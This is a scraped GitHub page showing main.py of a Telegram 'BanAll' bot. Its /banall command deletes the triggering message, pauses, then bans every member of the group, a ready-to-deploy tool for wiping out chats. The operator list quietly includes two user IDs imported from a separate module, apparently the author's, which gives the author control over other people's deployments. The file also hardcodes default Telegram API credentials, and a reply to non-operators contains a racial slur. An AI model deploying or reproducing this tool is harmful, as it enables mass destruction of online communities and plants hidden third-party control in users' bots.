-
Notifications
You must be signed in to change notification settings - Fork 8
Expand file tree
/
Copy pathmain.py
More file actions
173 lines (158 loc) · 5.76 KB
/
main.py
File metadata and controls
173 lines (158 loc) · 5.76 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
# Powered by @HYPER_AD13 | @ShiningOff
# Dear Pero ppls Plish Don't remove this line from here🌚
# created by ItsmeHyper13
import logging
import re
import os
import sys, platform
from asyncio import sleep
from os import getenv
from dotenv import load_dotenv
from telethon import TelegramClient, events, Button
import telethon.utils
from telethon.tl import functions
from telethon.tl.functions.channels import LeaveChannelRequest
from asyncio import sleep
from telethon import __version__ as tel
from str import dad as gg, dady as g, startxt2, startxt, hlptxt
from telethon.tl.types import ChatBannedRights, ChannelParticipantsAdmins, ChatAdminRights
from telethon.tl.functions.channels import EditBannedRequest
from datetime import datetime
#Logging...
logging.basicConfig(
format="%(asctime)s - %(name)s - %(levelname)s - %(message)s", level=logging.INFO
)
API_ID = int(getenv("API_ID", "4110592"))
API_HASH = getenv("API_HASH", "aa7c849566922168031b95212860ede0")
BOT_TOKEN = getenv("BOT_TOKEN", None)
OWNER_ID = getenv("OWNER_ID", None)
OP = [int(g), int(gg), int(OWNER_ID)]
#TelegramClient..
sree = TelegramClient(
"BanAll",
api_id=API_ID,
api_hash=API_HASH
).start(bot_token=BOT_TOKEN)
Owner = "ItsmeHyper13"
repo = "https://github.com/ItsmeHyper13/BanallBot"
@sree.on(events.NewMessage(pattern="^/start"))
async def start(event):
buttns = [Button.url("••ѕυρροяτ••", "https://t.me/SilentVerse"), Button.url("••ʀєρο••", f'{repo}')]
py = platform.python_version()
if event.sender.id in OP:
await sree.send_file(
event.chat.id,
file="https://telegra.ph/file/1367b1dd68f851e36370d.jpg",
caption=startxt.format(
event.sender.first_name,
event.sender.id,
py,
tel,
Owner,
),
link_preview=False,
buttons=buttns
)
if event.sender.id not in OP:
await sree.send_file(
event.chat.id,
file="https://telegra.ph/file/1367b1dd68f851e36370d.jpg",
caption=startxt2.format(
event.sender.first_name,
event.sender.id,
py,
tel,
Owner,
),
link_preview=False,
buttons=buttns
)
@sree.on(events.NewMessage(pattern="^/help"))
async def start(event):
buttns = [Button.url("••ѕυρροяτ••", "https://t.me/SilentVerse"), Button.url("••ʀєρο••", f'{repo}')]
py = platform.python_version()
if event.sender.id in OP:
await sree.send_file(
event.chat.id,
file="https://telegra.ph/file/1367b1dd68f851e36370d.jpg",
caption=hlptxt.format(event.sender.first_name, event.sender.id),
link_preview=False,
buttons=buttns
)
if event.sender.id not in OP:
await event.reply(
"Huh Nigga!\nThis is not for you lol 😑\n\nMake your own bot from this [Repository⚡](https://github.com/ItsmeHyper13/BanallBot)",
link_preview=False,
)
@sree.on(events.NewMessage(pattern="^/ping"))
async def ping(event):
if event.sender.id in OP:
start = datetime.now()
t = "Pinging..."
txxt = await event.reply(t)
end = datetime.now()
ms = (end-start).microseconds / 1000
await txxt.edit(f"γєαн ι αм αℓιϐє 🔥!!\n\nριиg ροиg 🏓\n ➥ `{ms} ms`")
@sree.on(events.NewMessage(pattern="^/banall"))
async def bun(event):
if event.sender.id in OP:
if not event.is_group:
Rep = f"__Brush Are You Serious 🙄.\nUse This Command In Any Group!!__"
await event.reply(Rep)
else:
await event.delete()
cht = await event.get_chat()
boss = await event.client.get_me()
admin = cht.admin_rights
creator = cht.creator
if not admin and not creator:
await event.reply("__I Don't Have Sufficient Rights To Do This.__")
return
hmm = await event.reply("__Ye Bilek Migic Begins🥳...__")
await sleep(18)
await hmm.delete()
everyone = await event.client.get_participants(event.chat_id)
for user in everyone:
if user.id == boss.id:
pass
try:
await event.client(EditBannedRequest(event.chat_id, int(user.id), ChatBannedRights(until_date=None,view_messages=True)))
except Exception as e:
await event.edit(str(e))
await sleep(0.3)
@sree.on(events.NewMessage(pattern="^/restart"))
async def restart(jnl):
if jnl.sender.id in OP:
tct = "__Wait Restarting...__"
await jnl.reply(tct)
try:
await sree.disconnect()
except Exception:
pass
os.execl(sys.executable, sys.executable, *sys.argv)
quit()
@sree.on(events.NewMessage(pattern="^/leave"))
async def leave(z):
if z.sender.id in OP:
mkc = ("".join(z.text.split(maxsplit=1)[1:])).split(" ", 1)
if len(z.text) > 7:
mkb = int(mkc[0])
tet = "__Wait Leaving...__"
hm = await z.reply(tet)
try:
await z.client(LeaveChannelRequest(mkb))
await hm.edit("**Succesfully Lefted!!**")
except Exception as e:
await hm.edit(str(e))
else:
mkb = z.chat_id
txt = "__Wait Leaving...__"
ok = await z.reply(txt)
try:
await z.client(LeaveChannelRequest(mkb))
await ok.edit("**Succesfully Lefted!!**")
except Exception as e:
await z.edit(str(e))
print("Your Bot Deployed Successfully ✅")
print("Join @SilentVerse if you facing any kind of issue!!")
sree.run_until_disconnected()